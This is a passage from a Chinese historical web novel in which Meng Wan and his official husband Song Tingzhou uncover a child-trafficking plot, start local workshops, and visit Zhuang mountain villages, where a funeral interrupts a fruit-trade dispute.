雪生守在孟晚身边,孟晚把腿支在门框上,又重新问了遍,“你说那个叫偃的人只和你接触了一次,剩下都是叫你们将人带到西梧府最靠北的边界处?” 陈崇有些不敢直视孟晚,“是,有人会去接应那些孩子。”顺便再给他丰厚的报酬。 根据这些从陈崇这里得到的信息,孟晚现在已经可以大胆猜测一下,那个偃,极有可能本身并不在岭南当地。他只来了一次,可能因为他手下有很多如同陈崇一般给他卖命的人,也有可能是路途遥远而不便亲自过来。 孟晚觉得可能两者皆有,这种古代王权背景下,什么肮脏的事情都很常见,他们费那么大的力气手段去拐那些孩子,要么就是供上流社会的败类赏玩,要么就是培养成杀手。 但第二个可能性又很小,因为都是官员的子嗣,从小锦衣玉食心性不坚,若是培养死士还不如圈养些衣不蔽体,食不果腹的小乞儿。 综合上述的所有条件,只有繁华的江南一带和禹国之都的盛京城,有这个条件搞这种邪门歪道。而其中又能牵扯到罗家和廉王…… “临安府?”孟晚试探性的说了一句,果真看到陈崇肩胛处不经意间抖了一抖。 好家伙,竟然还敢有隐瞒,他有这个反应,分明是自己猜对了,陈崇也知晓偃是在临安府。 孟晚让雪生将陈崇的脑袋揪起来,对着他闪躲的眼神一字一句的说:“南方世家之首的弦歌罗氏本家是在扬州没错,可那是后迁的,他们发家的祖地便是在临安府。且临安府与扬州相隔较近,全权掌控在罗家人手里。而且我看过你的卷宗,你父亲当年就是在临安府任职对吧?作为你从小长到大的地方,是不是很熟悉?” 孟晚弯起眼睛似感叹的说道:“真是一个干坏事又有人背锅的好地方啊!” 陈崇眼底的震惊快要溢出眼眶,他明明只挑了几样无关紧要的事情说出来,怎么会!怎么可能全都被猜到了! 孟晚欣赏了一会儿他崩溃的表情,“你是个聪明人,懂得知道越多死的越快的道理,所以当时抓到黄叶那一批人后是想脱离偃的掌控?钦州与边境接壤,是整个禹国最混乱的地方,也是机遇较多之地,故而你当时是想跑到钦州大赚一笔,再买个身份重新开始?” 陈崇表情麻木,一句说错,步步都错,他已经完全丧失了主动权,只能被孟晚随意拿捏。早知道还不如留在牢房里,起码还有一线生机。 他自暴自弃的说:“就算你知道这些也没用,那边这么久没动静证明已经放弃了我,我手里那点东西根本不足以当做证据告发他们。”陈崇心里想明白了,若说之前被劫狱他还有微弱的期望,之后多年多毫无动静,他已经隐隐有所预感了,只是不愿当着陈崇的面承认。 孟晚的表情倒是没有陈崇想象中那么沮丧,“嗐,留得青山在,不愁没柴烧。现在没办法不代表一直没办法,这就不用你操心了。” 雪生把陈崇重新提回牢里,让里头同样刚被提审完的陈云墨受了一惊。 “崇哥?你……你……你没死?” 陈崇这会儿不太想说话,老底都被扒光了,罗家那边又放弃了他,没有利用价值的人,只有死路一条。 陈崇不说,陈云墨自己忽然琢磨过味儿来,他一拍大腿,“姓宋的诈我们!” 陈云墨见陈崇闭目不语,面容疲惫,安慰道:“没事崇哥,宋大人说只要在他手里,就能保我们一命。我们在西梧,没准比被劫走还安全。” 陈崇狠狠的叹了口气,他不后悔攀扯上罗家,也不后悔干这么多坏事。悔的是棋差一筹,没早些跑到钦州,摊上宋亭舟这么较真的官和他妖孽一样的夫郎。 晚上下衙的宋亭舟和孟晚夫夫俩将目前掌握的信息合到一起,基本整合了事情的前因后果。 廉王殿下与罗家态度暧昧,罗家在大肆收罗貌美年轻的少男少女。他们明面上还是让人信赖,名气极大的百年世家,实际上派类似偃这样的人外出走动,专门干脏事。 如陈崇和陈云墨这样的人定然还有,岭南地势险要,穷人又多,丢了些孩子也并不显眼。收买些如胡逖这样的糊涂官,再往上威逼利诱上面没有根基的上官,基本没有人敢管罗家的事。 宋亭舟如今在西梧刚站稳脚跟,手还真伸不到临安府去。他如今能保证的也只有西梧府百姓平安,余下的再慢慢图谋。 陈云墨没能开心多久,知道他和陈崇现已无用,前脚信誓旦旦答应保他一命的宋亭舟,转手就派人将他重新押回赫山。吩咐赫山县知县写了折子连同沙坑县胡逖一起上告,他在西梧府再转手将折子递到布政使司去。 这次果然再无人阻拦,折子顺顺利利的递到盛京。 十一月初,批红的折子连同太子替孟晚找的瓘玉局工匠一同抵达西梧府。 第11章 头人 “樊老,往后就要辛苦您和您的两位高徒了。”孟晚客气的和面前年老的工匠说话。 太子殿下很大方,他说要俩学徒就成,结果太子将瓘玉局的老工匠派来一个。 樊老受宠若惊,“孟夫郎客气了,听说您手下有位匠人能用树胶做密封之用,那才是真正的大师。” 风重在一旁捣鼓他的树胶,听见樊老的话嘴差点咧到天边。他这人粗枝大叶,不拘小节,平时对宋亭舟和孟晚也没多客气,想说什么说什么。唯一的特点就是好面子,极为喜爱旁人吹捧,孟晚便硬是靠一张嘴,将他忽悠的带着师傅、师伯们留下来的。 樊老在京中上工,年岁又大,和留在赫山灰粉坊的徐老一样,都是经过了岁月沉淀,看透了人情冷暖。樊老的情商甚至还很高,一句话就将初次会面的风重给拿捏了。 玻璃坊和风弄的橡胶坊相邻而建,孟晚早就安排好了一切。两个工坊的工人,取胶的村民也都已经准备到位。 前期投入没有当初建糖坊的时候庞大,但却很琐碎,每个环节都要安排上一个靠谱的管事盯梢。 再加上比玻璃坊和橡胶坊都要大的食品罐头厂,轰轰烈烈的三座工坊拔地而起。 见孟晚忙忙碌碌的来回奔波,一门心思勾心斗角的官夫人、夫郎们都沉默了。 少部分意味不明的说两句酸话,“宋大人家中缺银钱不成?竟然让自己夫郎一门心思钻钱眼里钻营。” 可大部分人就算自己不知道那三座工坊的意义,也从自家夫君口中得知了以一己之力运作三家工坊是多大的本事。 他们岭南向来贫瘠,城中覃、余两个染坊起家的员外郎尚且能在西梧有头有脸,连官员们都轻易不敢招惹。何况是孟晚这样直接带动上百名百姓生计,简直是喂到嘴边上的政绩。 一时间府衙内宋亭舟的同僚和下属们,又羡慕又好奇,不敢当他的面打趣,背地里却也凑在一堆嘀咕,“宋大人升官速度如此迅速,该不会是他夫郎给送上来的吧?” 没人敢当面问宋亭舟,不然就会发现他不但不会恼羞成怒,反而引以为荣。 “怎么这个时候要出远门?”常金花牵着阿砚到宋亭舟和孟晚的屋子里,看孟晚和黄叶收拾衣物。 孟晚拿了条兔毛薄毯塞进竹箱,“之前谈好的茂谷柑,那头收了定钱突然又不认了,我去看看怎么回事。” 常金花有些担忧,“年前还能回来吗?” “当然能。”东西收拾的差不多,孟晚直起身子,把儿子抱到怀里坐在矮榻上同常金花说话,“离府城不算太远,三五日也就到了。” 宋亭舟午休,从外推门进来听了半截的话,“什么三五日,你要去壵寨?” 孟晚眼底闪过一丝讶异,“你怎么知道?” 宋亭舟展颜一笑,拿出手上的牌文递给孟晚,“刚巧我也要去西梧府辖内的三个山寨检籍,便先同你一起去壵寨也好。” 本来这种小事派底下的小吏做便好,可宋亭舟初到西梧,想多了解了解当地民生,便主动要求外派,曾知府对宋亭舟可以说是言听计从,立即便同意了下来。 他和孟晚都不是啰嗦的人,在家半天收拾好了行囊,第二天一早就由雪生套了车送他们出门。 宋亭舟身边带着十来个衙役小吏,陶家的陶八陶九和陶十一上次和他赴京各有优点,也被宋亭舟带到了西梧府,算是他的亲信。 孟晚就只带了雪生和楚辞,黄叶留在家里管事,还能帮常金花照看阿砚。临走前阿寻听说他们要去壵寨也请求同去,他想到那里采些罕见的药材回来。 西梧府有四县三寨,其中的三寨并不是简简单单的三座寨子,而是壵族、瑶族和鹋族的栖居地。 其中鹋族人口最少,住的也远,多数在远离人群的地方。 瑶族则是三族中住的最为分散的,几十上百个族人便能组成一个山寨,山寨依山而建。瑶族人靠打猎为生,因此大部分时候都不会聚集在一起住,不然资源不够。 壵族做为人数最多的族群,与瑶族相反,他们在西梧府的全部族人,几乎都汇聚在一起,形成一个由数十个小寨子组成的大山寨。 由最权威的寨老掌管,各个小寨子内又各自有最强壮睿智的头人。 壵寨的地界与黑叶县和西梧府府城相邻,道路也还算平坦,他们去的时候还有县城的货郎挑着担子去寨子里卖货,可见平日里是与外界相通的。 孟晚为了套话,让货郎搭他们的马车,“大哥,我们也是去壵寨的,你上车我们送你一程吧。” 那货郎四十来岁,身上穿着薄袄,脸色黝黑,肩膀因为常年担着重物被压得微微下塌。他含着胸,驮着背,眼球左右转动,打量孟晚他们一行骑马的骑马,坐车的坐车,怎么看都不是寻常人家。 “你们是覃家人?” 孟晚让雪生将马车停在他面前,饶有兴致的问:“你怎么知道我们是覃家的人?” 见孟晚的话里有承认的意思,货郎放下心中戒心,在陶八的帮助下将两筐货物放到后面的马车上,他自己也跟着上了车。 “咱们这谁不知道覃员外就是从壵寨出去的?你们布庄的伙计时常来壵寨收布,逢年过节,覃员外自己也回来,我有次也碰见过,他和你一样顺路带了我一程。” 马车缓缓开动,孟晚的话随着车轱辘的声音一同响起,“对,我们是来收货的。” 货郎是个健谈的,“壵寨的布织的好,可惜只卖给你们覃家人。对了,你家怎么派你个哥儿来收布的?”覃家布庄多,镇上县城都有,也不见得每次来壵寨的都是同一批伙计。 孟晚没有作答,反而将整个车帘全部掀开,人高马大的宋亭舟正端坐在内,他眼神冷清,气势迫人,看着就不好惹。 货郎一肚子的话全咽了回去,瞬间闭紧了嘴巴。 孟晚见他不开口,又坐回车里,楚辞、阿寻和乔主簿坐在后面的马车上。车厢里没有旁人,孟晚便直接倚在宋亭舟身上,被他半抱着说话。 “覃员外竟然是壵族人,这倒是没想到。” 宋亭舟把怀里一直捂着的手炉重新塞回他手上,“我也是头次听说,这些寨子里的人以鹋寨为首都极为排外,壵寨因为居住环境离汉族较近,还差上一些。”往年检籍的事进展的都不大顺利,派派来的小吏也是敷衍了事,文书记录的含糊不清,所以这次他才会亲自过来。 宋亭舟如今是想整合西梧教育和开展全府城修路的,哪个都绕不开三个寨子。山寨长久独居一隅,自守其制,长久以往便始终将汉人隔离在外,不会服从汉人官员管治,法度失修,终究会成祸端。 孟晚拨弄手炉上朱颜打的彩色络子,感受温和的暖意从手掌传递到身躯中,“前几个月唐妗霜在黑叶县收橘子,壵寨的人主动找上门说要卖,眼见年后就该收货,厂里的人再去联系他们竟然不认账了?” 宋亭舟自身后环住他,把下滑的毛毯往上提了提,“可知道具体是哪户人家?” 天空阴暗,冷风无处不在的往人身体里钻,孟晚整个人缩在毯子里,“说是那柑寨的人家,叫达伦。” 他们遇到货郎的时候离壵寨就已经很近了,又走了一个时辰左右,便能看见最靠外的木槿寨寨门。 整个寨子的大门是用扎的紧紧实实的竹排做成,寨墙则都是由大小均匀的石头垒成。寨门两侧的石头墙上还设有“城垛”和放箭孔,内侧似乎还有巡道,以便防御时相互救援用。 木槿寨在整个壮寨的最外围,呈现半包围形状,以守卫的姿态守护的整个壵寨,实际上木槿寨的人也是整个壵寨中最英勇健壮的。 守护寨门的两名壵族人很快发现了他们。两人穿着深蓝色的土布棉衣,领口和袖口处都缝着羊皮,头上戴着羊毛帽,脚上踩着续了棉麻絮的鞋子。手中各持了杆捻枪喝道:“***,****” 坐在车里的孟晚:“……”糟了!百密一疏,忘了请翻译! “他们在问我们是什么人,来这里做什么。”宋亭舟看出他面上的急躁,突然出声翻译。 “你竟然学了壵语?”孟晚又惊又喜。 宋亭舟笑着回他,“去年猜到自己可能还会留在西梧,便开始陆陆续续的学了些。不太好,平常沟通应该够用了。” 孟晚没忍住回身搂着他脖颈,歪着头在他唇上重重的印了一下,“我家舟郎真棒!” 宋亭舟对上他亮晶晶的眼睛,突然觉得自己应该多掌握更多的见闻。 外头陶八已经把腰牌和来意都说出来了,也不管对方听不听得懂。 刚下车的货郎是汉人,自然能听懂他们的话,“不是,刚才那哥儿不是说你们是覃家人吗?怎么又变成官府办事了?” 孟晚从马车上跳下来,随口敷衍他,“大哥,虽然我不是覃家人,但确实正准备和他们家合作。” “啊?”货郎有些懵,但随即目光扫到同样下了车的宋亭舟后,质疑声瞬间消失,担上自己的货物便准备进寨子。 显然他常来此处,这里的守卫都认识他,所以可以让他轻易进出,他们就不是这样的待遇了。 宋亭舟亲自下去交谈,岂料那群人既不认字又不认理,管是什么官什么同知,就是一根筋的不让他们进去。 按理说他们这么多人也不是不能硬闯,可宋亭舟是来检籍的,孟晚是来做买卖的。壵族人本来就排外,两人之后都还要和壵寨里的人打交道,不能现在就撕破脸得罪人。 “雪生,去把刚才的货郎揪回来。”孟晚眯起眼睛吩咐。 雪生身手或许算不上二流,但身姿轻盈,还没等在扬的众人反应,几步便从他们头顶飞身跃过,抓住还没走远的货郎退了回来。 “哎呦,这位夫郎,你这是做什么。”货郎心中恼火,早知道就不搭这方便车了。 孟晚笑呵呵的说:“还望大哥帮帮忙,同他们说一声,我们就住西梧府,我夫君一根手指就能捏死覃家人,让他们看在覃家的面子上放我们进去,要不然也别怪我们迁怒旁人。” 他用极为温和的语气,说出的话却让人毛骨悚然。这番话让宋亭舟去说,可能没什么效果,只会被人怀疑。可货郎抖着嗓音重复孟晚的话后却极具说服力。 两个壵族人相互对视一眼,久久无语,最后还是撂下了捻枪,放他们进了寨。 虽然放他们进来了,可两人中一人寸步不离的跟着他们,另一人则又叫了两个族人去门口执勤,自己跑去找他们寨子的头人。 孟晚干脆不走了,就在原地等着木槿寨的头人过来,顺便观赏木槿寨的景色。 寨子里的中间部分是大片平地,边缘则建着一座座干栏式木楼,所有木楼都是木质结构,有些地方会用到竹子。 不同于北地各家各院,这些木楼之间紧密相连,家家相连、户户相通。房檐和房檐之间隔得缝隙还不超过两米。 孟晚走近瞧离他最近的一间木楼,它的整体造型呈长方形,高有三层,最底下一层是架空的,由木柱支撑,使这间小楼看起来好像悬浮在空中。 房顶是悬山顶,坡度较陡,两端还各有一个小屋檐,应当是用来通风、采光的。 门窗上都刻着木雕,花鸟、山水、人物等。朴实又精致,看上去有种矛盾的美感。 旁边那个壵族人本来虎视眈眈的盯着孟晚,怕他有什么不好的举动,可看着看着突然有些不好意思起来。他顶着微红的脸将视线转投到宋亭舟身上,结果对方的脸色比刚才还臭,让这个壵族人摸不着头脑。 “你们是府城来的官?” 一道有些生硬的汉语在寨子深处响起,随即走来十来个面色警惕的壵族人。最中间的一位身材健硕,薄薄的棉衣包不住他鼓鼓囊囊的肌肉,连脖子都比寻常人粗上一些。他应当就是木槿寨的头人。 第12章 那劳寨 也是,虽然壵族人是三族中和汉人接触最多的种族,但实际上大部分的壵族人依旧一辈子都困在寨子里,极难出去外面。 困住他们的是地形原因,祖祖辈辈的生活习俗,以及他们自己的心。 宋亭舟向头人说明了来历,将牌文和他自己同知的令牌给对方看。 那头人说:“我知道府城有同知,但不识字,分辨不出真假来。你可以和我一起去那劳寨找我们寨老。” 因为壵寨是寨子连着寨子,所以他们没走太长时间,坐马车约莫也就半时辰便到了那劳寨。 那劳寨位处整个壮寨的最中心,比木槿寨大了近一倍。如此寨里的人本该也更多更热闹才是,可在外走动的却都是年迈的老人。 寨老是个年岁很大的老头,面上都是道道深渠,额头上横着的更多。他听说宋亭舟的来意后,用苍老但透着一股历经岁月的沉稳嗓音,缓缓说道:“大人想查什么就查吧,只是不要惊扰了寨子里的老人休息。” 宋亭舟声音平和的说:“这是自然,还请寨老放心。”他要使这些寨子里的人归心朝廷,硬来是下下策,怀柔才是此行目的。 壵寨里又包含数百个山寨,宋亭舟的检籍工作需要进行很长时间。寨老将他们安顿在了那劳寨里,均处三座那劳寨边缘处的干栏木楼。 孟晚和宋亭舟住其中一座三层木楼的二楼,雪生和楚辞住在他们隔壁,上面三楼有个小房间给阿寻住,其余衙役小吏和乔主簿等人分住另外两座木楼。 马车和马匹都拴在附近的树木上,他们的东西不方便都搬进屋子,只捡常用的和重要的拿上楼,剩下的行李还放在马车上,倒也方便拿取。 这间竹楼可能很久都没住人了,里面都是灰尘,孟晚推开屋子内的所有窗户,用雪生找回来的水擦洗家具。宋亭舟安顿好属下回来,也和他一起干活。 木楼里的空间不大,他们住的这间卧室里只有一张木床、一个竹编的储物箱、一张竹条编制的桌子,和两把竹椅。 两人手脚利索,很快收拾整齐,孟晚往竹倚上铺了个小垫子,坐上去很满意,“这把椅子再小两圈给阿砚坐还不错,等咱们回去问问寨子里卖不卖。” 壮寨的人很心灵手巧,门窗上的木雕也很精致。孟晚摸着竹倚上编排的整齐有序,没有半根毛边的椅背,若有所思的说道:“等水果罐头的成品做出来,可以用玻璃瓶密封,外面在用竹编的盒子。它比木头柔软有弹性,可以很好的保护罐头在路上不受磕碰,最主要的是,样子非常好看。” 孟晚越说越满意,整个西梧府种植橘子的村落很多,以后相信会越来越多,他并不缺壵寨的这点茂谷柑。可若是发展壵寨的手工艺品,这便是他们种族的天赋了,寨子里家家户户都会编制刻画。 宋亭舟坐到孟晚身边,捉住他润如白玉的手腕握进自己手中,发出一声心满意足的叹慰,“辛苦晚儿为我谋划。” 他们成亲多年,几乎一个眼神就能看懂彼此。宋亭舟从没问过孟晚一个本该毫无见识的小哥儿为何会懂那么多,他几乎瞬间就明白孟晚在处心积虑的帮自己加强与壵寨之间的联系。 两人相顾无声,窗外的寒风吹进屋内,掀起孟晚耳边的几缕碎发。他仍旧是簪着那根祥云簪,回望宋亭舟的眸光中流淌着脉脉柔情。 他懂他—— 他也懂他。 下午寨子里传来缕缕饭香,他们这一行人也早就饿了。让人意外的是乔主簿居然也会做饭。 “早年在县衙被童平排挤,家里都揭不开锅了,还管什么男人做饭女人做饭的。”乔主簿洒脱的对孟晚说道。 木楼的最底下是厨房,此刻孟晚、乔主簿、陶十一都在这里面忙活。 他们自己带了三个铁锅和各种粮食来,正好每座木楼下面都支了一个。 “乔主簿不光会做,做的还比我好吃。”陶十一语调轻松,他在家里兄弟中是年纪最小的,性子也跳脱,有着年轻人的朝气。对比起来只比他小了一岁的楚辞简直称得上是少年老成。 孟晚多看了陶十一几眼,将淘洗好的米下了锅后,又眺望远处和阿寻一起晒晾衣物的楚辞。 楚辞今年十五岁,已经不再是当时救了孟晚的小道士。 如今的他已经比孟晚还高上一些,眼里也不是小时候那样死气沉沉,了无生气。听阿寻说话的时候,偶尔单手简单比划两下,有时候只是笑着看对方。 似乎发现了孟晚在看他,楚辞抬手和阿寻比划了两下,拿着空盆子过来找孟晚。 “怎么了?”他划出一个手势。 孟晚笑着摇了摇头,“没事,衣服晾完就和阿寻去玩吧,一会儿吃饭了我叫你们。” 楚辞见有人帮孟晚打下手,便点了点头,将空盆放到木架子上,抬步向外走去。 他们人多,又大多数都是身强力壮的汉子。厨房里忙活的三人先是熬了三大锅浓稠的米粥,盛放出来后孟晚又贴了三锅饼子。 这会儿功夫乔主簿和陶十一切腌好的酸笋当作简单配菜,出门在外吃饱就已经很不错了,同知大人一家也吃的这些,大家没什么好挑剔的。 而且这些米面油菜等都是孟晚带来,米是精米,面是白面,算是私下补贴衙门的人,大家心里都承孟晚的人情。 夜里大家酒足饭饱,各自休息。第二天一早宋亭舟留两个衙役陪同楚辞和阿寻上山采药,他则带着乔主簿和其余的人去找寨老。 接下来他要一个寨子一个寨子的检籍,若有死亡的便要销籍,不在册的登录下来重新造籍,是件非常繁琐的事情。 孟晚也有自己的事要忙,他在那劳寨花钱雇佣了一名会说汉语的壵族人做翻译,问清了那柑寨的位置后,让雪生驾车带他和翻译过去。 那柑寨的位置有些偏僻,雪生驾马驱行了一个半时辰才终于找对了地方。一路上孟晚注意到壵寨的大部分族人,在外行走的都是老人。 他问了翻译这个问题,才从翻译口中得知,原来这个季节寨子里的粮食已经收完了,青壮年们都去山林里打猎,或是自家吃,或是背到县城去卖,白天很少闲赋在家。 女娘和小哥儿们呢,则是全部留在家里织布。 “全部?”孟晚颇为诧异。 翻译名叫韦凯,今年四十岁,年轻的时候也是寨子里打猎种地的一把好手,可惜被野兽咬断了一条腿。 他摸着自己左腿处空荡荡的裤管,语气中充满了感激,“是的,那柑寨里走出去个员外郎。多亏了他,我们寨子里的女娘小哥儿都能给家里添补一些,这些年寨子里饿死的孩子都少了许多。” 从他的话里孟晚得知,山寨里的困境远比外面汉族的村民还要多。 他们借山而居,靠山吃饭。虽然被禹国强行兼并,学会了种植水稻,可山地林木耸立,很难大范围丰收。 再加上朝廷每年还要征收各种税务,可以说他们如今的日子还没有从前没有被汉人收服的好过,也难怪他们一直对汉人抱有敌视的意思。 这么看来,这位覃员外倒真是位不忘乡情,发达了还知道拉扯一把自己族人的大好人。 做为一个从无到有,如今也算小有成就的商人,孟晚随口问了一句,“覃员外从寨子里收布,按多少文钱收?” 韦凯已经很多年不和外界人接触了,闻言毫无戒心的说:“一匹布有80文呢!” 孟晚心里换算了一下,最普通的粗棉布外面布庄卖在一百五十文到两百文一匹这样,八十文收价格还算公道了。普通人织布有快有慢,取个中间值约莫是十到十五天左右。 “十几天赚八十文也算可以。”孟晚捏着自己的玉佩玩,对覃员外的做法还算认同。 知道拉扯一把同族人,想必人品是可以的。孟晚要开通西梧府的商贸,需多多联合当地商户共同图谋,年后倒是可以接触接触覃家。 他心里刚这样想,就见韦凯摇了摇头,“十几天?哪有那么容易,我哥哥家的女娘,一匹布要织五十天呢!” “五十天一匹布?”孟晚没忍住音调上扬,反倒把韦凯吓住了,他小心翼翼的问:“五十天一匹布怎么了?” “没什么。”孟晚压下心中疑虑,壵寨的人都自给自足,身上穿的衣服都是自己织布,自己裁做,手速应当不比织娘慢吧?一匹布怎么会耗费这么长时间? 他怕再问得深了会引起韦凯警觉,便没有再问,只将这件事记在心里,等回那劳寨再不同的人打听。 那柑寨与周边的其他寨子很好区分,他们寨子大门两侧各种了一片橘树林。茂谷柑要来年二月才会彻底成熟,这会儿个头还不算大,上头也没挂上一层白霜。 孟晚见树上的橘子长势喜人,就像是地主见地里麦穗结的沉似的,心中不由自主便跟着高兴。 “你们是什么人!”那柑寨门口没人守着,不过附近有那柑寨的壵族人,他们十几年也不见得出一次宅子,见到生人又新奇又警惕。 韦凯跳下车走过去,用壵语和对方沟通了一阵,然后招呼雪生把马车赶进去,跟着他们走。 刚进那柑寨,前面便有几个腰缠白布的男人在挨家挨户的敲门。 孟晚听不懂他们在说什么,但见他们每个人手上都提着竹篮,敲开谁家的门便同房主人说上两句话,然后从竹篮里掏出纸钱交给对方。房主人再回问几句话,从屋子里拿出一块白色的布条放到他们的提篮里。 韦凯见此神情竟然有些恼怒,他对着带他们进来的人叽里咕噜的说了几句话,语速极快,像是在责问。 那人也很迷糊,向韦凯辩解了几句就跑开了。 孟晚莫名其妙的看着这一出,问韦凯道:“问出达伦家的住所了吗?” 韦凯面露难色,“问到是问到了,但我们正巧遇上了他们寨子报丧,这下子我们最少要在那柑寨待上四天。” 报丧就说明那柑寨里死人了,而壵族的习俗就是,只要在寨子死人期间入了寨,看到报丧人,那就必须要给报丧人回一块孝布,参加完整个葬礼后才能从寨子里离去,要不然就是不敬畏逝者。 孟晚一愣,竟然这么巧,他们刚进那柑寨就有人死了? 不过韦凯应该没有骗他,他们说话的时候,便有两个报丧人发现了马车,木着一张脸过来,从竹篮里掏出纸钱抓了一把给最外面的韦凯和雪生。 最后问了韦凯两句后,又抓了一把纸钱给车厢里的孟晚。 “孟夫郎,你这里有白布没?没有的话我去旁边谁家买一块给报丧人。”韦凯小心翼翼的对孟晚说。 他是收了孟晚的钱的,谁能想到会遇上这种事,普通人都很忌讳报丧人,别说是最为迷信的商人了。 孟晚的马车里做了好几个木箱,里面零七八碎什么都有,他翻开其中一个,找到几块雪白的素帕,问车窗外的韦凯道:“你看这个行吗?” 韦凯松了口气,孝布最好还是不要借买的好,“上面没有别的颜色就行。” 那没有,孟晚大部分手帕都是素帕,很少绣花绣草。以前碧云在的时候偶尔会绣,现在他嫁了人,家里后宅是黄叶管事,黄叶明显不会这项技能。 孟晚把手帕分给韦凯和雪生,三人学着之前看到的样子,再依次将帕子放到报丧人竹篮里。 那人收了他们的孝布,又一脸麻木地和韦凯说了几句话,这才离开去其他人家。 “孟夫郎,你说你要找的人叫什么名字?”等报丧人离开,韦凯突然问了一句。 孟晚心中泛起一阵不好的预感,他复又说了一遍,“那柑寨,达伦。” 韦凯咽了咽口水,“刚才报丧人说,他们宅子里殆的人就是达伦。” 第13章 葬礼 因为要尊重寨子里的习俗,所以他接下来要留在那柑寨四天三夜。夜里他和雪生韦凯三人借住到和韦凯说话的那人家里。 那人名叫农勒,是个个头不高,长相黝黑,看起来极为老实本分的汉子。 农勒家里没有看到女主人,只有他和一个七八岁的儿子,所以木楼的空闲房间有两个。孟晚单独住在其中一个,雪生和韦凯住他隔壁。 农勒一个人带孩子生活,家里难免会邋遢,孟晚正对着有股异味的被子和一身没洗干净污渍的衣裳发愁时,农勒的小儿子“噔噔噔”的跑了上来,“******!” 孟晚听着觉得自己回到了前世的泰国,他一句也听不懂,忙叫隔壁的韦凯过来翻译。 韦凯:“他说外面有人找你!” “啊?”孟晚反应过来,肯定是宋亭舟回去看见他不在,过来找人了。 他带着雪生下楼去寨门处,看到了风尘仆仆被关在外面的宋亭舟和陶八。 “怎么回事?”宋亭舟牵着马匹,见到孟晚完好无损的出来才放下了心。 孟晚忙将事情解释了一遍给他,“……幸好你是晚上来的,不然被报丧了,平白在这里耗好几天。” 岂料宋亭舟听孟晚说完眉头一皱,“你要在那柑寨待四天?”隔着木门的漏洞都能感受到他周边压抑的气氛。 孟晚不是没有单独出去常住过,前几个月他刚带唐妗霜回了一次赫山县,一个月后才回的家。但他们是头一次来壵寨,尚且信不过里面的人,孟晚身边就只有个雪生,他定然是放心不下的。 宋亭舟的时间比较紧张,今天又刚在那劳寨开始检籍,孟晚不想耽搁他的正事,便脸上挂着笑安慰他,“用不了,住三晚我就回去了,第四天一早你就能看到我。” 宋亭舟久久没有言语,过了会儿才一言不发的上马离开。他似乎是生气了,也不知道是气这座拦着他们的木门,还是气孟晚不留他下来陪他。 孟晚一直望着他的马匹走远,这还是他和宋亭舟头一次“闹矛盾”,心里不免空落落的,回到木楼后也不进屋,就披着斗篷坐在廊下看月亮。 农勒家离死去的达伦家很近,从楼上能看见达伦家院子里搭了简易的雨棚,这是明天用来搭建灵堂用的扬所。 农勒做为邻居,想必是和达伦家关系不错,这会儿正在达伦家院子里帮忙布置灵堂,有个十三四岁的女娘正红着眼睛给像他这样来帮忙的汉子递水。 挂在木楼上的白灯笼被冷风吹得无声摇晃,惨白的光晕下能看清门窗上交贴的望山钱。 用竹子扎成的篱笆门口撒了一层厚厚的灶灰,木楼里外有很多人面容冷肃的来回走动,也有人在屋里低声哭泣,哭声中有未诉尽的牵挂与哀怨。 天色灰暗,只余浓重的沉郁弥漫,压得人胸口透不过气。 哪怕做为外人,都会被这种低迷的氛围感染,情绪低迷起来。 孟晚重重的叹了口气,他也不是要来教训达伦一顿,而是想问清楚对方为何毁约而已。既然现在人死了也就算了,那些定钱本来也没有多少,全当是可怜孩子了。 等过几天葬礼结束问问壵寨有没有其他人家卖茂谷柑,再和寨老商议商议做竹编买卖的事。 他侧着头想事情的功夫,再将目光收回来的时候竟然见宋亭舟骑着马都走到农勒家楼下来了。 孟晚猛地从竹倚上坐了起来,“噔噔噔”地跑下楼,声音中带着他自己都没发觉的雀跃,“你怎么又回来了?怎么进来的?” 宋亭舟身后还跟着陶十一,两人的马上都驮着铺盖和行李。他下马后先拢紧孟晚身上的斗篷,又顺势握住孟晚的双手,果然触感一片冰凉,“路上遇见个赶路的老翁,捎带了他一程,他带我们进了寨子。天这么冷,你怎么在外面坐着?” “被子臭,没有干净的换洗衣裳。”孟晚声音里带了点委屈。 宋亭舟眸子里果然带上了一丝心疼,“我给你带了,现在就去铺床。” 他把马背上的行李卸了下来, 扛进楼上的屋子里,动作麻利的将农勒家的旧床铺撤下来放到一边橱子里,换上他们自己的。 “洗澡可能不方便,我带了个木盆来,可以擦洗身上,换洗的衣物也带了两套过来,其余的都留在那劳……” 孟晚突然弯腰从宋亭舟身前钻到他怀里,双手紧紧抱住他健硕的腰身。 宋亭舟紧绷的脸瞬间柔和下来。他扔下手里衣物回抱住孟晚,声音低沉又温醇的问:“怎么了?” 他整个人完全笼罩住孟晚,带给孟晚任何事物都比不上的安全感。孟晚不知为何眼眶微红,又觉得自己感性的莫名其妙,怪丢人的,便埋在他怀里不说话。 宋亭舟察觉到孟晚低落的情绪,干脆将他一把抱到床上。 孟晚微弱的反抗,“我还没洗澡。” “无事,我现在就去接水给你擦洗。”宋亭舟道。 孟晚本来有些无精打采的,闻言强撑着要站起来,“你来回赶路本来就没好好休息,我去打水吧,白天的时候我看到山边上就有一口井。” 那柑寨几乎家家户户都挨着山建木楼,甚至有的还在半山腰上。宋亭舟拗不过孟晚,实际上刚才第一眼看到孟晚脆弱的样子,他也不舍得拒绝。 自宋亭舟出现后,孟晚的心情就好了许多,他拎了个水桶往白天看到的水井处走去。 那座水井离农勒家不远,他回头就能看到宋亭舟在后面不远不近的跟着他,边走还边观察四周的环境,可能是在实地考察。 孟晚心中安定,但等站到井边上才觉得不对,井里面一片浓黑,没有半点反光,居然是一口枯井。 他有些烦躁,白来一趟。刚要转身离开,突然见到一抹白光从井底深处一闪而过。 孟晚吓得下意识后退了一步,被跟上来的宋亭舟扶稳,“看见什么了?” 孟晚嗓子干涩,“井里……好像有什么东西。” “你先退后,我过去看看。”宋亭舟把孟晚拉到身后,自己上前查看,可看见的只有一片漆黑,再等一会儿也没见到有什么东西。 宋亭舟退回孟晚身边,抚了抚他吓得有些苍白的脸孔,“我没看到,我们先回去,明天白天让雪生来看看。” “嗯。”孟晚跟在他身后回了木楼。 宋亭舟从灶房里找到水缸,烧了半锅热水,再加凉水兑了两盆温水,和孟晚简单的擦洗过身体后便上床休息。 孟晚这一觉睡得一如既往的安心,到后半夜还是达伦家的哭声将他吵醒,宋亭舟拍了两下他的后背,轻声哄道:“再睡一会儿。”他便又睡着了。 再醒来映入耳边的不是哭声,而是雨水拍打窗户的声音。刺骨的冷意从四面八方侵入孟晚的躯干,厚厚的被子里一点暖气也没有。 